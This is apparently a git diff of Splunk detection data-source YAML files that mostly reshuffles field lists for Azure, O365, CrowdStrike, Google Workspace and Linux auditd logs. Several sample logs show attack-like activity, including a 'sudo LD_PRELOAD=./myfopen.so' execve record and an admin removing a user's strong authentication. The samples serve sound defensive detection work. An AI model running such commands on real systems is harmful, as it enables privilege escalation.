properties.originalTransferMethod - properties.processingTimeInMilliseconds @@ -107,17 +122,35 @@ fields: - properties.userPrincipalName - properties.userType - punct + - reason - resourceId + - response_time + - result + - result_id - resultDescription - resultSignature - resultType + - signature + - signinDateTime - source - sourcetype - splunk_server + - src + - src_ip + - status + - tag + - tag::action + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_id + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_update_application.yml b/data_sources/azure_active_directory_update_application.yml index 68973cf9bf..abc6b87617 100644 --- a/data_sources/azure_active_directory_update_application.yml +++ b/data_sources/azure_active_directory_update_application.yml @@ -19,9 +19,15 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +36,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -60,14 +77,29 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_update_authorization_policy.yml b/data_sources/azure_active_directory_update_authorization_policy.yml index 11b8c70a60..1202e9e14c 100644 --- a/data_sources/azure_active_directory_update_authorization_policy.yml +++ b/data_sources/azure_active_directory_update_authorization_policy.yml @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,14 +78,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_update_user.yml b/data_sources/azure_active_directory_update_user.yml index f68bb2e219..b6611634f0 100644 --- a/data_sources/azure_active_directory_update_user.yml +++ b/data_sources/azure_active_directory_update_user.yml @@ -18,10 +18,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +36,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,14 +78,28 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_user_registered_security_info.yml b/data_sources/azure_active_directory_user_registered_security_info.yml index 758efd25fa..73c4dc2034 100644 --- a/data_sources/azure_active_directory_user_registered_security_info.yml +++ b/data_sources/azure_active_directory_user_registered_security_info.yml @@ -18,10 +18,13 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +33,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_attrs_from_resultReason + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -56,15 +71,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml index 26b38ab885..be68ad6566 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml @@ -96,9 +96,9 @@ fields: - status - status.localizedValue - status.value - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.value - timeendpos - timestartpos - user diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml index fc2ceb3233..29f0026a36 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml @@ -69,6 +69,9 @@ fields: - eventSource.value - eventTimestamp - host + - httpRequest.clientIpAddress + - httpRequest.clientRequestId + - httpRequest.method - id - index - level @@ -84,20 +87,26 @@ fields: - properties.eventCategory - properties.hierarchy - properties.message + - properties.serviceRequestId + - properties.statusCode - punct - resourceGroupName - resourceProviderName.localizedValue - resourceProviderName.value - resourceUri + - result + - result_id - source - sourcetype - splunk_server + - src - status - status.localizedValue - status.value - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.localizedValue + - subStatus.value - timeendpos - timestartpos - user diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml index 1b8fe4bbad..ab607f8c91 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml @@ -104,10 +104,10 @@ fields: - status - status.localizedValue - status.value - - subStatus.localizedValue - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.localizedValue + - subStatus.value - timeendpos - timestartpos - user diff --git a/data_sources/azure_monitor_activity.yml b/data_sources/azure_monitor_activity.yml index 8a57ac3379..73bae91e0d 100644 --- a/data_sources/azure_monitor_activity.yml +++ b/data_sources/azure_monitor_activity.yml @@ -13,13 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/3110 version: 6.3.3 fields: - - column - - action + - _time - category - change_type - command - correlationId - - dataset_name - date_hour - date_mday - date_minute @@ -28,20 +26,11 @@ fields: - date_wday - date_year - date_zone - - dest - dvc - - eventtype - host - identity - - image_id - index - - instance_type - linecount - - object - - object_attrs - - object_category - - object_id - - object_path - operationName - properties.ActivityDate - properties.ActivityResultStatus @@ -66,34 +55,21 @@ fields: - properties.Targets{}.ModifiedProperties{}.Old - properties.Targets{}.Name - punct - - resourceId - resource_provider - - response_body - result + - result_id - resultDescription - resultType - - result_id - source - sourcetype - splunk_server - - splunk_server_group - - src - status - - tag - - tag::action - - tag::eventtype - - tag::object_category - tenantId - time - timeendpos - timestartpos - - user - - user_name - user_type - vendor_account - - vendor_product - - vendor_region - - _time output_fields: - action - dest diff --git a/data_sources/crowdstrike_falcon_stream_alert.yml b/data_sources/crowdstrike_falcon_stream_alert.yml index 7f538f050d..7792668d2e 100644 --- a/data_sources/crowdstrike_falcon_stream_alert.yml +++ b/data_sources/crowdstrike_falcon_stream_alert.yml @@ -19,54 +19,50 @@ supported_TA: url: https://splunkbase.splunk.com/app/5579 version: 3.2.0 fields: - - action - - description - - dest - - dest_nt_domain - - event.AssociatedFile + - _time + - event.AgentId + - event.AggregateId + - event.Author + - event.CloudIndicator - event.CommandLine - - event.ComputerName - - event.DetectDescription - - event.DetectId - - event.DetectName - - event.DocumentsAccessed{}.FileName - - event.DocumentsAccessed{}.FilePath - - event.DocumentsAccessed{}.Timestamp - - event.ExecutablesWritten{}.FileName - - event.ExecutablesWritten{}.FilePath - - event.ExecutablesWritten{}.Timestamp + - event.CompositeId + - event.DataDomains + - event.Description + - event.EndTimeEpoch - event.FalconHostLink - event.FileName - event.FilePath - - event.GrandparentCommandLine - - event.GrandparentImageFileName + - event.FilesAccessed{}.FileName + - event.FilesAccessed{}.FilePath + - event.FilesAccessed{}.Timestamp + - event.GrandParentCommandLine + - event.GrandParentImageFileName + - event.GrandParentImageFilePath - event.HostGroups - - event.IOARuleGroupName - - event.IOARuleInstanceID - - event.IOARuleInstanceVersion - - event.IOARuleName - - event.IOCType - - event.IOCValue + - event.Hostname + - event.HostNames + - event.IPv4Addresses - event.LocalIP + - event.LocalIPv6 + - event.LogonDomain - event.MACAddress + - event.MD5Hashes - event.MD5String - - event.MachineDomain - - event.NetworkAccesses{}.AccessTimestamp - - event.NetworkAccesses{}.AccessType - - event.NetworkAccesses{}.ConnectionDirection - - event.NetworkAccesses{}.IsIPV6 - - event.NetworkAccesses{}.LocalAddress - - event.NetworkAccesses{}.LocalPort - - event.NetworkAccesses{}.Protocol - - event.NetworkAccesses{}.RemoteAddress - - event.NetworkAccesses{}.RemotePort + - event.MitreAttack{}.PatternID + - event.MitreAttack{}.Tactic + - event.MitreAttack{}.TacticID + - event.MitreAttack{}.Technique + - event.MitreAttack{}.TechniqueID + - event.Name - event.Objective - event.ParentCommandLine - event.ParentImageFileName + - event.ParentImageFilePath - event.ParentProcessId - event.PatternDispositionDescription - event.PatternDispositionFlags.BlockingUnsupportedOrDisabled - event.PatternDispositionFlags.BootupSafeguardEnabled + - event.PatternDispositionFlags.ContainmentFileSystem - event.PatternDispositionFlags.CriticalProcessDisabled - event.PatternDispositionFlags.Detect - event.PatternDispositionFlags.FsOperationBlocked @@ -89,45 +85,43 @@ fields: - event.PatternDispositionFlags.SuspendProcess - event.PatternDispositionValue - event.PatternId + - event.PlatformId + - event.PlatformName - event.ProcessEndTime - event.ProcessId - event.ProcessStartTime - - event.SHA1String - - event.SHA256String - - event.SensorId + - event.RiskScore + - event.ScheduledSearchExecutionId + - event.ScheduledSearchId + - event.ScheduledSearchUserId + - event.ScheduledSearchUserUUID + - event.SensorIds - event.Severity - event.SeverityName + - event.SHA1String + - event.SHA256Hashes + - event.SHA256String + - event.SourceProducts + - event.SourceVendors + - event.StartTimeEpoch - event.Tactic - event.Tags - event.Technique + - event.Type - event.UserName - - eventtype - - file_hash - - file_name - - file_path + - event.XdrType - host - - id - index - - ip - linecount - metadata.customerIDString - metadata.eventCreationTime - metadata.eventType - metadata.offset - metadata.version - - parent_process - - parent_process_id - - parent_process_name - - process_id - punct - - severity - - severity_id - source - sourcetype - splunk_server - - splunk_server_group - - src - - subject - ta_data.App_id - ta_data.Cloud_environment - ta_data.Event_types @@ -136,13 +130,7 @@ fields: - ta_data.Input - ta_data.Multiple_feeds - ta_data.TA_version - - tag - - tag::action - - tag::eventtype - timestamp - - url - - user - - vendor_product output_fields: - dest - user diff --git a/data_sources/g_suite_gmail.yml b/data_sources/g_suite_gmail.yml index 2c599a4533..0f31d3165d 100644 --- a/data_sources/g_suite_gmail.yml +++ b/data_sources/g_suite_gmail.yml @@ -22,8 +22,6 @@ fields: - attachment{}.file_extension_type - attachment{}.malware_family - attachment{}.sha256 - - connection_info.authenticated_domain{}.name - - connection_info.authenticated_domain{}.type - connection_info.client_host_zone - connection_info.client_ip - connection_info.dkim_pass diff --git a/data_sources/google_workspace.yml b/data_sources/google_workspace.yml index 8459c1a0de..4b15ca4876 100644 --- a/data_sources/google_workspace.yml +++ b/data_sources/google_workspace.yml @@ -12,13 +12,9 @@ supported_TA: url: https://splunkbase.splunk.com/app/5556 version: 5.0.1 fields: - - action - - actor.callerType + - _time - actor.email - actor.profileId - - app - - change_type - - command - date_hour - date_mday - date_minute @@ -27,75 +23,26 @@ fields: - date_wday - date_year - date_zone - - dest - - dest_name - - dest_url - - dvc - - email - etag - event.name + - event.parameters{}.boolValue + - event.parameters{}.multiValue{} - event.parameters{}.name - event.parameters{}.value - event.type - - eventtype - - filter_action - host - id.applicationName - id.customerId - id.time - id.uniqueQualifier - index - - internal_message_id - ipAddress - kind - linecount - - message_id - - object - - object_attrs - - object_category - - object_id - - object_path - - owner - - owner_email - - protocol - punct - - result - - result_id - - signature_extra - source - sourcetype - splunk_server - - splunk_server_group - - src - - src_user - - src_user_id - - src_user_name - - src_user_type - - status - - tag - - tag::action - - tag::app - - tag::eventtype - - tag::object_category - - tenant_id - timeendpos - timestartpos - - user - - user_email - - user_email_extracted - - user_id - - user_name - - user_type - - vendor_account - - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time example_log: '"kind": "admin#reports#activity", "id": {"time": "2022-10-12T18:00:23.093Z", "uniqueQualifier": "-7844406841853338111", "applicationName": "admin", "customerId": "C046r85ir"}, "etag": "\"JCPRxFaiNR1s5TJ6ecIH8OpGdY4efiOYXbIB65itOzY/afZBU3WDeiuPqFyleWyTnwyU3fE\"", "actor": {"callerType": "USER", "email": "evil_admin@splunkresearch.com", "profileId": "100059258581444193973"}, "ipAddress": "22.33.111.55", "event": {"type": "USER_SETTINGS", "name": "UNENROLL_USER_FROM_STRONG_AUTH", "parameters": [{"name": "USER_EMAIL", "value": "victim_user@splunkresearch.com"}]}}' diff --git a/data_sources/linux_auditd_add_user.yml b/data_sources/linux_auditd_add_user.yml index e65107d021..4328f9e619 100644 --- a/data_sources/linux_auditd_add_user.yml +++ b/data_sources/linux_auditd_add_user.yml @@ -20,22 +20,42 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time + - addr + - AUID + - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - exe + - host + - hostname + - ID + - id + - index + - linecount - msg - - type + - op - pid - - uid - - auid + - punct + - res - ses + - source + - sourcetype + - splunk_server - subj - - msg - - op - - id - - exe - - hostname - - addr + - tag + - tag::eventtype - terminal - - res + - timeendpos + - timestartpos + - type - UID - - AUID - - ID + - uid example_log: 'type=ADD_USER msg=audit(1722950859.266:6994): pid=1788 uid=0 auid=1000 ses=1 subj=unconfined msg=''op=adding user id=1002 exe="/usr/sbin/useradd" hostname=ar-linux1 addr=? terminal=pts/1 res=success''UID="root" AUID="ubuntu" ID="unknown(1002)"' diff --git a/data_sources/linux_auditd_cwd.yml b/data_sources/linux_auditd_cwd.yml index 3ef7f828d7..076ff65b06 100644 --- a/data_sources/linux_auditd_cwd.yml +++ b/data_sources/linux_auditd_cwd.yml @@ -15,12 +15,28 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time - cwd - date_hour - date_mday - date_minute - date_month - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount - msg + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type example_log: 'type=CWD msg=audit(11/20/2025 16:57:48.909:110027) : cwd=/etc/ssh' diff --git a/data_sources/linux_auditd_daemon_abort.yml b/data_sources/linux_auditd_daemon_abort.yml index 5446dd0ae7..c5f07997dd 100644 --- a/data_sources/linux_auditd_daemon_abort.yml +++ b/data_sources/linux_auditd_daemon_abort.yml @@ -21,10 +21,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type + - _time + - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount + - msg - op - - res - pid + - punct + - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type - uid output_fields: - op diff --git a/data_sources/linux_auditd_daemon_end.yml b/data_sources/linux_auditd_daemon_end.yml index 6d4a8b2374..180359b4f5 100644 --- a/data_sources/linux_auditd_daemon_end.yml +++ b/data_sources/linux_auditd_daemon_end.yml @@ -21,11 +21,34 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type - - op - - res + - _time - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount + - msg + - op - pid + - punct + - res + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type output_fields: - op - res diff --git a/data_sources/linux_auditd_daemon_start.yml b/data_sources/linux_auditd_daemon_start.yml index c22e10f484..933980ca35 100644 --- a/data_sources/linux_auditd_daemon_start.yml +++ b/data_sources/linux_auditd_daemon_start.yml @@ -21,11 +21,39 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type - - op - - res + - _time - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - format + - host + - index + - kernel + - linecount + - msg + - op - pid + - punct + - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type + - uid + - ver output_fields: - op - res diff --git a/data_sources/linux_auditd_execve.yml b/data_sources/linux_auditd_execve.yml index ca072eadbb..1bca6822e7 100644 --- a/data_sources/linux_auditd_execve.yml +++ b/data_sources/linux_auditd_execve.yml @@ -21,8 +21,32 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time + - a0 + - a1 + - a2 + - argc + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - execve_command + - host + - index + - linecount - msg + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type - - msg - - argc example_log: 'type=EXECVE msg=audit(1723044684.257:15795): argc=3 a0="sudo" a1="LD_PRELOAD=./myfopen.so" a2="./prog"' diff --git a/data_sources/linux_auditd_path.yml b/data_sources/linux_auditd_path.yml index 2fb58ab7ac..51b8015df4 100644 --- a/data_sources/linux_auditd_path.yml +++ b/data_sources/linux_auditd_path.yml @@ -21,22 +21,41 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - msg - - type - - item - - name - - inode + - _time + - cap_fe + - cap_fi + - cap_fp + - cap_frootid + - cap_fver + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone - dev + - eventtype + - host + - index + - inode + - item + - linecount - mode - - ouid + - msg + - name + - nametype - ogid + - ouid + - punct - rdev - - nametype - - cap_fp - - cap_fi - - cap_fe - - cap_fver - - cap_frootid - - OUID - - OGID + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type example_log: 'type=PATH msg=audit(1723043687.149:14898): item=1 name="/etc/ssh/ssh_config~" inode=1292 dev=103:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root"' diff --git a/data_sources/linux_auditd_proctitle.yml b/data_sources/linux_auditd_proctitle.yml index a344eab275..a655e86cba 100644 --- a/data_sources/linux_auditd_proctitle.yml +++ b/data_sources/linux_auditd_proctitle.yml @@ -20,7 +20,31 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - proctitle + - _time + - ALL + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - if + - index + - linecount - msg + - of + - proctitle + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type example_log: 'type=PROCTITLE msg=audit(1722944427.844:4146): proctitle=63686D6F640037373700312E7368' diff --git a/data_sources/linux_auditd_service_stop.yml b/data_sources/linux_auditd_service_stop.yml index 124257f391..c6ebd82f72 100644 --- a/data_sources/linux_auditd_service_stop.yml +++ b/data_sources/linux_auditd_service_stop.yml @@ -20,20 +20,41 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - msg - - type - - pid - - uid + - _time + - addr + - AUID - auid - - ses - - subj - - msg - comm + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype - exe + - host - hostname - - addr - - terminal + - index + - linecount + - msg + - pid + - punct - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - terminal + - timeendpos + - timestartpos + - type - UID - - AUID + - uid + - unit example_log: 'type=SERVICE_STOP msg=audit(1722957155.494:4802): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg=''unit=atd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success''UID="root" AUID="unset"' diff --git a/data_sources/linux_secure.yml b/data_sources/linux_secure.yml index 5c10d18458..51d90a0c45 100644 --- a/data_sources/linux_secure.yml +++ b/data_sources/linux_secure.yml @@ -30,18 +30,23 @@ fields: - date_year - date_zone - dest + - dest_dns - dvc - eventtype - host - index - linecount + - name - pid - process - punct + - reason + - signature - source - sourcetype - splunk_server - src + - src_ip - src_port - sshd_protocol - tag @@ -49,6 +54,7 @@ fields: - tag::eventtype - timeendpos - timestartpos + - uid - user - user_name - vendor_action diff --git a/data_sources/m365_copilot_graph_api.yml b/data_sources/m365_copilot_graph_api.yml index ab7410db47..a18963dc94 100644 --- a/data_sources/m365_copilot_graph_api.yml +++ b/data_sources/m365_copilot_graph_api.yml @@ -12,6 +12,7 @@ supported_TA: url: https://splunkbase.splunk.com/app/4055 version: 6.1.1 fields: + - _time - appDisplayName - appId - clientAppUsed @@ -34,11 +35,20 @@ fields: - deviceDetail.operatingSystem - deviceDetail.trustType - eventtype + - Exchange Mailbox Storage Used (Byte) + - Exchange Mailbox Total Item Count + - Exchange Received Email Count + - External Member Count + - Group Display Name + - Group Id + - Group Type - host - id - index - ipAddress + - Is Deleted - isInteractive + - Last Activity Date - linecount - location.city - location.countryOrRegion @@ -46,23 +56,36 @@ fields: - location.geoCoordinates.latitude - location.geoCoordinates.longitude - location.state + - Member Count + - Owner Principal Name - punct + - Report Period + - Report Refresh Date - resourceDisplayName - resourceId - riskDetail - riskLevelAggregated - riskLevelDuringSignIn - riskState + - SharePoint Active File Count + - SharePoint Site Storage Used (Byte) + - SharePoint Total File Count - source - sourcetype - splunk_server - status.additionalDetails - status.errorCode - status.failureReason + - tag + - tag::eventtype - timeendpos + - timestamp - timestartpos - userDisplayName - userId - userPrincipalName + - Yammer Liked Message Count + - Yammer Posted Message Count + - Yammer Read Message Count output_fields: [] example_log: '{"id": "7fbc0a97-7f78-4cc8-9377-dc94d2ad1e00", "createdDateTime": "2025-09-30T12:34:20Z", "userDisplayName": "Rod Soto", "userPrincipalName": "rodsoto@rodsoto.onmicrosoft.com", "userId": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "appId": "9199bf20-a13f-4107-85dc-02114787ef48", "appDisplayName": "One Outlook Web", "ipAddress": "127.0.0.1", "clientAppUsed": "Browser", "correlationId": "8fe7aa9b-42c8-b52e-c6f2-8e4dfc07996b", "conditionalAccessStatus": "notApplied", "isInteractive": true, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Office 365 Exchange Online", "resourceId": "00000002-0000-0ff1-ce00-000000000000", "status": {"errorCode": 0, "failureReason": "Other.", "additionalDetails": "MFA requirement satisfied by claim in the token"}, "deviceDetail": {"deviceId": "", "displayName": "", "operatingSystem": "MacOs", "browser": "Chrome 140.0.0", "isCompliant": false, "isManaged": false, "trustType": ""}, "location": {"city": "Miami", "state": "Florida", "countryOrRegion": "US", "geoCoordinates": {"altitude": null, "latitude": 25.76286, "longitude": -80.31196}}, "appliedConditionalAccessPolicies": []}' diff --git a/data_sources/o365.yml b/data_sources/o365.yml index ca824bcbf3..599f082be1 100644 --- a/data_sources/o365.yml +++ b/data_sources/o365.yml @@ -14,6 +14,82 @@ mitre_components: source: o365 sourcetype: o365:management:activity separator: Operation + +fields: + - _time + - action + - app + - AppAccessContext.IssuedAtTime + - AppAccessContext.UniqueTokenId + - AppId + - authentication_service + - change_type + - ClientAppId + - ClientIP + - command + - CreationTime + - dataset_name + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_name + - dvc + - eventtype + - ExternalAccess + - host + - Id + - index + - linecount + - Name + - object + - object_attrs + - object_category + - object_id + - ObjectId + - Operation + - OrganizationId + - OrganizationName + - OriginatingServer + - Parameters{}.Name + - Parameters{}.Value + - Params + - punct + - record_type + - RecordType + - RequestId + - result + - ResultStatus + - Role + - SessionId + - signature + - source + - sourcetype + - splunk_server + - src + - src_ip + - status + - tag + - tag::eventtype + - tenant_id + - timeendpos + - timestartpos + - User + - user + - user_id + - user_type + - UserId + - UserKey + - UserType + - vendor_account + - vendor_product + - Version + - Workload supported_TA: - name: Splunk Add-on for Microsoft Office 365 url: https://splunkbase.splunk.com/app/4055 diff --git a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml index 00bc4805b4..c21a7838fe 100644 --- a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml +++ b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml @@ -24,55 +24,43 @@ fields: - ActorIpAddress - Actor{}.ID - Actor{}.Type + - additionalDetails + - app + - authentication_service - AzureActiveDirectoryEventType - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc + - event_type + - extended_properties + - extendedAuditEventCategory - ExtendedProperties{}.Name - ExtendedProperties{}.Value + - host - Id + - index - InterSystemsId - IntraSystemId + - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value - ModifiedProperties{}.Name - ModifiedProperties{}.NewValue - ModifiedProperties{}.OldValue + - object + - object_id - ObjectId - Operation - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - additionalDetails - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - event_type - - extendedAuditEventCategory - - extended_properties - - host - - index - - linecount - - object - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype @@ -81,13 +69,24 @@ fields: - src_ip - src_user - status - - timeendpos - - timestartpos + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user + - user_agent + - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml index 67062042d5..e9a2269712 100644 --- a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml +++ b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -63,21 +41,38 @@ fields: - dest_name - dvc - event_type - - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status - - tag - - tag::eventtype + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -85,8 +80,13 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_add_mailboxpermission.yml b/data_sources/o365_add_mailboxpermission.yml index 9c2dd48871..0bbea1cb2f 100644 --- a/data_sources/o365_add_mailboxpermission.yml +++ b/data_sources/o365_add_mailboxpermission.yml @@ -21,14 +21,25 @@ supported_TA: fields: - _time - AccessRights + - app - AppId + - authentication_service - ClientAppId - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc - ExternalAccess + - host - Id - Identity + - index - InheritanceType + - linecount + - object + - object_id - ObjectId - Operation - OrganizationId @@ -36,35 +47,13 @@ fields: - OriginatingServer - Parameters{}.Name - Parameters{}.Value + - Params + - punct + - record_type - RecordType + - result - ResultStatus - SessionId - - User - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - host - - index - - linecount - - object - - punct - - record_type - signature - source - sourcetype @@ -72,13 +61,19 @@ fields: - src - src_ip - status - - timeendpos - 